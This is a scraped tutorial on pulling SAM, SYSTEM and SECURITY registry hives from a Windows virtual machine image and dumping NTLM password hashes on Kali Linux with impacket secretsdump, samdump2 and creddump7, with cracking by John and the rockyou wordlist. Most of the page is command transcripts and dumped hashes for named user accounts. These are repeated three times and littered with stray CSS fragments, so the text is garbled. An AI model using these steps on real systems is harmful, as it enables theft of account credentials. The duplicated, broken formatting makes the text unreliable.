Tools: How to Crack the SAM Database in Kali Linux | Windows Password Hash Extraction Guide (2026)
In this guide, I will show you an approach to crack the Windows SAM database NTLM hashes. Before cracking, you first need to obtain these three files from the target system: SAM, SYSTEM, and SECURITY. I had a .ova file of a Windows virtual machine, so I will demonstrate how to extract them from that image. First, you need to dump the target system’s image. If it is a VM or virtual disk image, then this method of extracting those three files will be useful for you. Convert the .ova file into a .rar file and then extract that . And we got this → I loaded the “Windows-disk001.vmdk” file as an image in Magnet AXIOM. You can also use Autopsy or FTK Imager for this task. When the processing was complete, we went to the → Directory → “ windows/system32/config “ Exported SAM , SYSTEM & SECURITY file and paste that in kali linux . After that the hash will be cracked if that password is present in the "rockyou.txt" wordlist
If you want more powerful one → with “ john jumbo “ ⇒ And, after that the password will be cracked. Templates let you quickly answer FAQs or store snippets for re-use. Hide child comments as well For further actions, you may consider blocking this person and/or reporting abuse
$ ┌──(kali㉿kali)-[~/Windows_dump]
└─$ -weight: 600;">sudo -weight: 500;">apt -weight: 500;">install python3-impacket python3-impacket is already the newest version (0.12.0+gite61ff5d-0kali1).
Summary: Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 235 ┌──(kali㉿kali)-[~/Windows_dump]
└─$ python3 -m impacket.examples.secretsdump -sam SAM -system SYSTEM LOCAL ┌──(kali㉿kali)-[~/Windows_dump]
└─$ samdump2 SYSTEM SAM > hashes.txt ┌──(kali㉿kali)-[~/Windows_dump]
└─$ cat hashes.txt Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1004:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1005:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1006:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1007:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1008:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1009:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1010:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1011:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1012:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1013:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1014:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1015:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1016:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1017:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1018:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1019:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
support_admin:1020:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: ┌──(kali㉿kali)-[~/Windows_dump]
└─$ ls
hashes.txt SAM SECURITY SYSTEM ┌──(kali㉿kali)-[~/Windows_dump]
└─$
┌──(kali㉿kali)-[~/Windows_dump]
└─$ -weight: 600;">sudo -weight: 500;">apt -weight: 500;">install python3-impacket python3-impacket is already the newest version (0.12.0+gite61ff5d-0kali1).
Summary: Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 235 ┌──(kali㉿kali)-[~/Windows_dump]
└─$ python3 -m impacket.examples.secretsdump -sam SAM -system SYSTEM LOCAL ┌──(kali㉿kali)-[~/Windows_dump]
└─$ samdump2 SYSTEM SAM > hashes.txt ┌──(kali㉿kali)-[~/Windows_dump]
└─$ cat hashes.txt Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1004:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1005:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1006:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1007:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1008:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1009:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1010:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1011:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1012:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1013:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1014:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1015:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1016:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1017:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1018:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1019:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
support_admin:1020:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: ┌──(kali㉿kali)-[~/Windows_dump]
└─$ ls
hashes.txt SAM SECURITY SYSTEM ┌──(kali㉿kali)-[~/Windows_dump]
└─$
┌──(kali㉿kali)-[~/Windows_dump]
└─$ -weight: 600;">sudo -weight: 500;">apt -weight: 500;">install python3-impacket python3-impacket is already the newest version (0.12.0+gite61ff5d-0kali1).
Summary: Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 235 ┌──(kali㉿kali)-[~/Windows_dump]
└─$ python3 -m impacket.examples.secretsdump -sam SAM -system SYSTEM LOCAL ┌──(kali㉿kali)-[~/Windows_dump]
└─$ samdump2 SYSTEM SAM > hashes.txt ┌──(kali㉿kali)-[~/Windows_dump]
└─$ cat hashes.txt Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1004:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1005:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1006:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1007:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1008:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1009:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1010:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1011:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1012:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1013:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1014:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1015:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1016:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1017:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1018:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1019:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
support_admin:1020:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: ┌──(kali㉿kali)-[~/Windows_dump]
└─$ ls
hashes.txt SAM SECURITY SYSTEM ┌──(kali㉿kali)-[~/Windows_dump]
└─$
┌──(kali㉿kali)-[~/Windows_dump]
└─$ creddump7 creddump7 - Python tool to extract credentials and secrets from Windows registry hives
/usr/share/creddump7
├── cachedump.py
├── framework
├── lsadump.py
├── pwdump.py
└── __pycache__
┌──(kali㉿kali)-[/usr/share/creddump7]
└─$ ls
cachedump.py framework lsadump.py pwdump.py __pycache__ ┌──(kali㉿kali)-[/usr/share/creddump7]
└─$ python pwdump.py usage: pwdump.py <system hive> <SAM hive> ┌──(kali㉿kali)-[/usr/share/creddump7]
└─$ python pwdump.py ~/Windows_dump/SYSTEM ~/Windows_dump/SAM Administrator:500:aad3b435b51404eeaad3b435b51404ee:22775c1ecbe2bd7d69c6dcd55b7f9b25:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:4fa9775c90b54e688035a28e04d59a3c:::
james.l:1000:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
amir.k:1001:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
sadia.b:1002:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
karim.r:1003:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
anika.d:1004:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
rashed.h:1005:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
nafisa.j:1006:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
sumon.t:1007:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
nazia.c:1008:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
arif.w:1009:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
kamal.n:1010:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
bilkis.z:1011:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
rubel.m:1012:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
tania.y:1013:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
robin.p:1014:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
sohan.v:1015:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
nayeem.d:1016:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
salma.q:1017:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
hossain.a:1018:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
meem.u:1019:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
support_admin:1020:aad3b435b51404eeaad3b435b51404ee:8a46225c4f14f99711b0c2d6002d3af2:::
┌──(kali㉿kali)-[~/Windows_dump]
└─$ creddump7 creddump7 - Python tool to extract credentials and secrets from Windows registry hives
/usr/share/creddump7
├── cachedump.py
├── framework
├── lsadump.py
├── pwdump.py
└── __pycache__
┌──(kali㉿kali)-[/usr/share/creddump7]
└─$ ls
cachedump.py framework lsadump.py pwdump.py __pycache__ ┌──(kali㉿kali)-[/usr/share/creddump7]
└─$ python pwdump.py usage: pwdump.py <system hive> <SAM hive> ┌──(kali㉿kali)-[/usr/share/creddump7]
└─$ python pwdump.py ~/Windows_dump/SYSTEM ~/Windows_dump/SAM Administrator:500:aad3b435b51404eeaad3b435b51404ee:22775c1ecbe2bd7d69c6dcd55b7f9b25:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:4fa9775c90b54e688035a28e04d59a3c:::
james.l:1000:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
amir.k:1001:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
sadia.b:1002:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
karim.r:1003:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
anika.d:1004:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
rashed.h:1005:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
nafisa.j:1006:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
sumon.t:1007:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
nazia.c:1008:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
arif.w:1009:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
kamal.n:1010:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
bilkis.z:1011:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
rubel.m:1012:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
tania.y:1013:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
robin.p:1014:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
sohan.v:1015:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
nayeem.d:1016:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
salma.q:1017:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
hossain.a:1018:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
meem.u:1019:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
support_admin:1020:aad3b435b51404eeaad3b435b51404ee:8a46225c4f14f99711b0c2d6002d3af2:::
┌──(kali㉿kali)-[~/Windows_dump]
└─$ creddump7 creddump7 - Python tool to extract credentials and secrets from Windows registry hives
/usr/share/creddump7
├── cachedump.py
├── framework
├── lsadump.py
├── pwdump.py
└── __pycache__
┌──(kali㉿kali)-[/usr/share/creddump7]
└─$ ls
cachedump.py framework lsadump.py pwdump.py __pycache__ ┌──(kali㉿kali)-[/usr/share/creddump7]
└─$ python pwdump.py usage: pwdump.py <system hive> <SAM hive> ┌──(kali㉿kali)-[/usr/share/creddump7]
└─$ python pwdump.py ~/Windows_dump/SYSTEM ~/Windows_dump/SAM Administrator:500:aad3b435b51404eeaad3b435b51404ee:22775c1ecbe2bd7d69c6dcd55b7f9b25:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
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